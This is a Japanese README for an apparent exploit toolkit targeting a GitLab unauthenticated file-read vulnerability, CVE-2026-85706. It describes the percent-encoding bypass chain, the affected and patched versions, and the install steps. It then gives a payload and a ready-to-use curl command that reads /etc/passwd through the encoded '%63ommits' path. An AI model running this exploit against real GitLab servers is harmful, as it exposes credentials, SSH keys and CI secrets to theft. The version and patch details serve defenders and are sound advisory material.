CVE‑2026‑85706 – GitLab 未認証ファイル読み取りツールキット

⚠️ 倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみにツールを提供します。
コンピュータシステムへの不正アクセスは、CFAA（米国）、Computer Misuse Act（英国）、TCK 243/244（トルコ）、および世界中の同様の法律の下で違法です。

📖 脆弱性の概要

CVE‑2026‑85706 は、セルフマネージド GitLab CE/EE（バージョン 18.7 から 19.3.1）における重大な未認証の任意ローカルファイル読み取り脆弱性であり、未認証の攻撃者が commits API への単一の HTTP リクエストを介してサーバー上の任意のファイルを読み取ることができます。

仕組み

1. Workhorse と Puma のパース不一致 – GitLab Workhorse はリクエストパスをパーセントデコード前に検証しますが、Puma/Rails は後にデコードします。これにより、%63ommits のようなエンコードされた文字を使用して Workhorse のセキュリティチェックをバイパスできます。
2. 認証前のファイルオープン – /api/v4/projects/{id}/repository/commits エンドポイントは、認証が適用される前に file.path で指定されたファイルを開きます。
3. エラーを介したコンテンツのエコー – ファイルに無効な %-sequence が含まれている場合、Rack は 400 Bad Request ボディにコンテンツをエコーし、完全なコンテンツが漏洩します。
4. 影響 – シークレット、トークン、SSH キー、CI/CD 変数、データベース認証情報、および GitLab インフラストラクチャへの横展開。直ちにアップグレードしてください！

影響を受けるバージョン

• 18.7.0 – 19.1.7 – 脆弱
• 19.2.0 – 19.2.5 – 脆弱
• 19.3.0 – 19.3.1 – 脆弱

パッチ

• 19.1.8、19.2.6、または 19.3.2 以降にアップグレードしてください。
• アップグレードが不可能な場合は、GitLab へのネットワークアクセスを制限し（インターネットに公開しないでください）、一時的な回避策としてすべてのトークン/シークレットをローテーションしてください。

🧰 ツール

📊 機能比較

🎯 ユースケースの概要

⚙️ インストール

git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

requests
urllib3
curl_cffi
rich
pyyaml

📋 パラメータ

exploit.py のパラメータ

safechecker.py のパラメータ

💥 シナリオ

🧪 エンドポイントと悪用チェーン

エクスプロイトは以下の GitLab エンドポイントとバイパス技術を使用します:

ペイロード形式

file=&file.path=/etc/passwd&file.size=1

すぐに使える curl

curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ 責任ある使用

• これらのツールは、所有しているか、テストする明示的な書面による許可を得ているシステムでのみ使用してください。
• 不正アクセスは違法であり、非倫理的です。
• 作者は、いかなる誤用についても責任を負いません。
• 常にあなたの国の法律と規制に従ってください。

このソフトウェアは、教育目的および許可されたセキュリティテストのみに提供されています。